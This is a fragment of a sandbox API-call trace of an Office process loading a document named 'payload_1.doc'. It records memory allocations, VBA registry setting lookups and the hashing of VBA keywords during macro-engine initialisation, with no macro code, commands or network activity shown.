dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f4010, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0093.374] wcscpy_s (in: _Destination=0x2764b531570, _SizeInWords=0x804, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc" | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0093.374] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x84) returned 0x2764afa1650 [0093.374] wcscpy_s (in: _Destination=0x2764afa16c0, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0093.374] wcscpy_s (in: _Destination=0xb5690f4790, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0093.374] _ltow_s (in: _Value=0, _Buffer=0xb5690f479c, _BufferCount=0x3a, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.374] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x420) returned 0x2764b3c8420 [0093.376] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b3c8420) [0093.376] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa1650) [0093.376] longjmp () [0093.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x84) returned 0x2764afa0720 [0093.381] wcscpy_s (in: _Destination=0x2764afa0790, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0093.381] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x180) returned 0x2764b429700 [0093.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b247800 [0093.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b246cc0 [0093.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764b1636e0 [0093.381] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x80) returned 0x2764afa1b60 [0093.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764b1624e0 [0093.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764b1622a0 [0093.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764ad01b20 [0093.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b21e520 [0093.382] GetLocaleInfoA (in: Locale=0x411, LCType=0x1004, lpLCData=0xb5690f478c, cchData=6 | out: lpLCData="932") returned 4 [0093.382] atoi (_Str="932") returned 932 [0093.384] GetLocalTime (in: lpSystemTime=0xb5690f4780 | out: lpSystemTime=0xb5690f4780*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x2, wSecond=0x30, wMilliseconds=0xa)) [0093.385] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa19b0 [0093.385] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764ae9ec10 [0093.385] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa0b10 [0093.385] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad024e0 [0093.385] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa1bf0 [0093.386] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afa1bf0, cb=0x280) returned 0x2764b41e320 [0093.386] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764ae9e900 [0093.386] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764ae9eb10 [0093.386] strcpy_s (in: _Dst=0xb5690f4560, _DstSize=0xc8, _Src="Software\\Microsoft\\VBA\\" | out: _Dst="Software\\Microsoft\\VBA\\") returned 0x0 [0093.386] strcat_s (in: _Destination="Software\\Microsoft\\VBA\\", _SizeInBytes=0xc8, _Source="7.1\\Common" | out: _Destination="Software\\Microsoft\\VBA\\7.1\\Common") returned 0x0 [0093.386] RegCreateKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x7ff9be2046e8, lpdwDisposition=0x0 | out: phkResult=0x7ff9be2046e8*=0x129c, lpdwDisposition=0x0) returned 0x0 [0093.386] RegQueryValueExA (in: hKey=0x129c, lpValueName="RequireDeclaration", lpReserved=0x0, lpType=0xb5690f4638, lpData=0xb5690f4630, lpcbData=0xb5690f4634*=0x4 | out: lpType=0xb5690f4638*=0x0, lpData=0xb5690f4630*=0x86, lpcbData=0xb5690f4634*=0x4) returned 0x2 [0093.386] RegQueryValueExA (in: hKey=0x129c, lpValueName="CompileOnDemand", lpReserved=0x0, lpType=0xb5690f4638, lpData=0xb5690f4630, lpcbData=0xb5690f4634*=0x4 | out: lpType=0xb5690f4638*=0x0, lpData=0xb5690f4630*=0x0, lpcbData=0xb5690f4634*=0x4) returned 0x2 [0093.386] RegQueryValueExA (in: hKey=0x129c, lpValueName="NotifyUserBeforeStateLoss", lpReserved=0x0, lpType=0xb5690f4638, lpData=0xb5690f4630, lpcbData=0xb5690f4634*=0x4 | out: lpType=0xb5690f4638*=0x0, lpData=0xb5690f4630*=0x1, lpcbData=0xb5690f4634*=0x4) returned 0x2 [0093.387] RegQueryValueExA (in: hKey=0x129c, lpValueName="BackGroundCompile", lpReserved=0x0, lpType=0xb5690f4638, lpData=0xb5690f4630, lpcbData=0xb5690f4634*=0x4 | out: lpType=0xb5690f4638*=0x0, lpData=0xb5690f4630*=0x0, lpcbData=0xb5690f4634*=0x4) returned 0x2 [0093.387] RegQueryValueExA (in: hKey=0x129c, lpValueName="BreakOnAllErrors", lpReserved=0x0, lpType=0xb5690f4638, lpData=0xb5690f4630, lpcbData=0xb5690f4634*=0x4 | out: lpType=0xb5690f4638*=0x0, lpData=0xb5690f4630*=0xff, lpcbData=0xb5690f4634*=0x4) returned 0x2 [0093.387] RegQueryValueExA (in: hKey=0x129c, lpValueName="BreakOnServerErrors", lpReserved=0x0, lpType=0xb5690f4638, lpData=0xb5690f4630, lpcbData=0xb5690f4634*=0x4 | out: lpType=0xb5690f4638*=0x0, lpData=0xb5690f4630*=0x0, lpcbData=0xb5690f4634*=0x4) returned 0x2 [0093.387] RegCloseKey (hKey=0x129c) returned 0x0 [0093.387] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc0) returned 0x2764b5996e0 [0093.387] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc0) returned 0x2764b599470 [0093.387] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1300) returned 0x2764b609780 [0093.387] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x27649940000 [0093.388] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x27649980000 [0093.389] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0093.389] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x30) returned 0x276455f3300 [0093.389] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x27649950000 [0093.390] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0093.390] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x27649960000 [0093.391] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x276499c0000 [0093.391] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x276499d0000 [0093.392] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Intrinsics") returned 0x109464 [0093.392] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x276499e0000 [0093.392] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0093.392] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="") returned 0x10c0b3 [0093.393] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x420) returned 0x2764b3cb390 [0093.394] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoMultiByteToWideChar") returned 0x7ff9bd8b07d0 [0093.394] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x276499f0000 [0093.395] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x27649a00000 [0093.396] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x420) returned 0x2764b3c47c0 [0093.396] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b3c47c0) [0093.396] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="0") returned 0x401047 [0093.396] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x30) returned 0x276455f3100 [0093.396] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x27649a40000 [0093.397] VirtualAlloc (lpAddress=0x27649a00000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x27649a00000 [0093.397] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Abs") returned 0x4072bc [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Access") returned 0x401d98 [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="AddressOf") returned 0x40e252 [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Alias") returned 0x40bf6d [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="And") returned 0x407469 [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Any") returned 0x40747a [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Append") returned 0x408f83 [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Array") returned 0x409183 [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="As") returned 0x405c8d [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Assert") returned 0x4096e9 [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="B") returned 0x401059 [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Base") returned 0x40afa9 [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="BF") returned 0x405ca5 [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Binary") returned 0x4008a0 [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Boolean") returned 0x40978e [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ByRef") returned 0x4074ef [0093.398] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Byte") returned 0x401a83 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ByVal") returned 0x4089c5 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Call") returned 0x40744b [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Case") returned 0x407547 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CBool") returned 0x404c74 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CByte") returned 0x406d3c [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CCur") returned 0x408050 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CDate") returned 0x408dc3 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CDec") returned 0x40834a [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CDbl") returned 0x4082e4 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CDecl") returned 0x40a0b9 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ChDir") returned 0x40b2fb [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CInt") returned 0x409f65 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Circle") returned 0x403fd1 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CLng") returned 0x40af63 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Close") returned 0x4005ab [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Compare") returned 0x40af82 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Const") returned 0x40517a [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CSng") returned 0x40d4d2 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CStr") returned 0x40d5bb [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CurDir") returned 0x401bab [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CurDir$") returned 0x40f7cc [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CurDir") returned 0x401bab [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CVar") returned 0x40e307 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CVDate") returned 0x40cfd6 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CVErr") returned 0x408902 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Currency") returned 0x40f106 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Database") returned 0x40eec7 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Date") returned 0x403b0a [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Date$") returned 0x4031c7 [0093.399] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Date") returned 0x403b0a [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Debug") returned 0x40eaee [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Decimal") returned 0x4036dd [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Declare") returned 0x404a38 [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefBool") returned 0x4091ad [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefByte") returned 0x40b275 [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefCur") returned 0x40cc45 [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefDate") returned 0x40d2fc [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefDec") returned 0x40cf3f [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefDbl") returned 0x40ced9 [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefInt") returned 0x40eb5a [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefLng") returned 0x40fb58 [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefObj") returned 0x40096b [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefSng") returned 0x402088 [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefStr") returned 0x402171 [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefVar") returned 0x402ebd [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Dim") returned 0x4083c4 [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Dir") returned 0x4083c9 [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Dir$") returned 0x406567 [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Dir") returned 0x4083c9 [0093.400] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Do") returned 0x405cf8 [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DoEvents") returned 0x409634 [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Double") returned 0x400d99 [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Each") returned 0x40fe75 [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Else") returned 0x403b56 [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ElseIf") returned 0x40f307 [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Empty") returned 0x40f4f1 [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="End") returned 0x4089cd [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="EndIf") returned 0x4078bd [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Enum") returned 0x40465a [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Eqv") returned 0x408a4e [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Erase") returned 0x4080da [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Error") returned 0x40db3c [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Error$") returned 0x40cf60 [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Error") returned 0x40db3c [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Event") returned 0x40ac4b [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Exit") returned 0x407a1f [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Explicit") returned 0x40edcb [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="F") returned 0x40105d [0093.401] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="False") returned 0x402d01 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Fix") returned 0x408e81 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="For") returned 0x408f59 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Format") returned 0x402337 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Format$") returned 0x40efc7 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Format") returned 0x402337 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="FreeFile") returned 0x40483a [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Friend") returned 0x40bd1c [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Function") returned 0x407810 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Get") returned 0x409342 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Global") returned 0x40f88f [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Go") returned 0x405d67 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="GoSub") returned 0x40b425 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="GoTo") returned 0x40d70b [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="If") returned 0x405da8 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Imp") returned 0x409f18 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Implements") returned 0x40a988 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="In") returned 0x405db0 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Input") returned 0x40022a [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Input$") returned 0x407767 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Input") returned 0x40022a [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InputB") returned 0x407785 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InputB$") returned 0x400c59 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InputB") returned 0x407785 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InStr") returned 0x40120e [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InStrB") returned 0x40c2fb [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Int") returned 0x409f41 [0093.402] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Integer") returned 0x40b48a [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Is") returned 0x405db5 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LBound") returned 0x401e0b [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Left") returned 0x407be5 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Len") returned 0x40adf9 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LenB") returned 0x407cfb [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Let") returned 0x40adff [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Lib") returned 0x40ae81 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Like") returned 0x4091f3 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Line") returned 0x409262 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LINEINPUT") returned 0x4008f1 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Load") returned 0x40b096 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Local") returned 0x40353f [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Lock") returned 0x40b0e7 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Long") returned 0x40b27a [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Loop") returned 0x40b2a8 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LSet") returned 0x40c69e [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Me") returned 0x405e3b [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mid") returned 0x40b3dc [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mid$") returned 0x40566d [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mid") returned 0x40b3dc [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="MidB") returned 0x40568b [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="MidB$") returned 0x402a70 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="MidB") returned 0x40568b [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mod") returned 0x40b4ba [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Module") returned 0x401ee1 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Name") returned 0x40f2f0 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="New") returned 0x40b8b3 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Next") returned 0x4009bb [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Not") returned 0x40ba23 [0093.403] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Nothing") returned 0x405f21 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Null") returned 0x405d87 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Object") returned 0x402ec1 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="On") returned 0x405e8e [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Open") returned 0x400767 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Option") returned 0x40f982 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Optional") returned 0x40675a [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Or") returned 0x405e92 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Output") returned 0x40f959 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ParamArray") returned 0x405941 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Preserve") returned 0x40a5fc [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Print") returned 0x40f00d [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Private") returned 0x4073c3 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Property") returned 0x40d2f6 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="PSet") returned 0x40dd55 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Public") returned 0x401287 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="RaiseEvent") returned 0x40274a [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Random") returned 0x40f428 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Randomize") returned 0x40ab02 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Read") returned 0x401d0f [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ReDim") returned 0x40eea8 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Rem") returned 0x40ce0e [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Resume") returned 0x40728b [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Return") returned 0x4038eb [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="RGB") returned 0x40ce4d [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="RSet") returned 0x406891 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Scale") returned 0x40e596 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Seek") returned 0x40e387 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Select") returned 0x40cabd [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Set") returned 0x40d36e [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Sgn") returned 0x40d3b2 [0093.404] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Shared") returned 0x40479e [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Single") returned 0x40a99f [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Spc") returned 0x40d4f4 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Static") returned 0x4029c6 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Step") returned 0x403384 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Stop") returned 0x4034f6 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="StrComp") returned 0x40274d [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="String") returned 0x40102a [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="String$") returned 0x40c31c [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="String") returned 0x40102a [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Sub") returned 0x40d5ac [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Tab") returned 0x40d821 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Text") returned 0x40abed [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Then") returned 0x40b933 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="To") returned 0x405f48 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="True") returned 0x40f0f4 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Type") returned 0x400007 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="TypeOf") returned 0x401832 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="UBound") returned 0x40ea71 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Unload") returned 0x404e44 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Unlock") returned 0x404e95 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Unknown") returned 0x40a11d [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Until") returned 0x40ecec [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Variant") returned 0x408738 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Wend") returned 0x4035a7 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="While") returned 0x40a25c [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Width") returned 0x404e68 [0093.405] 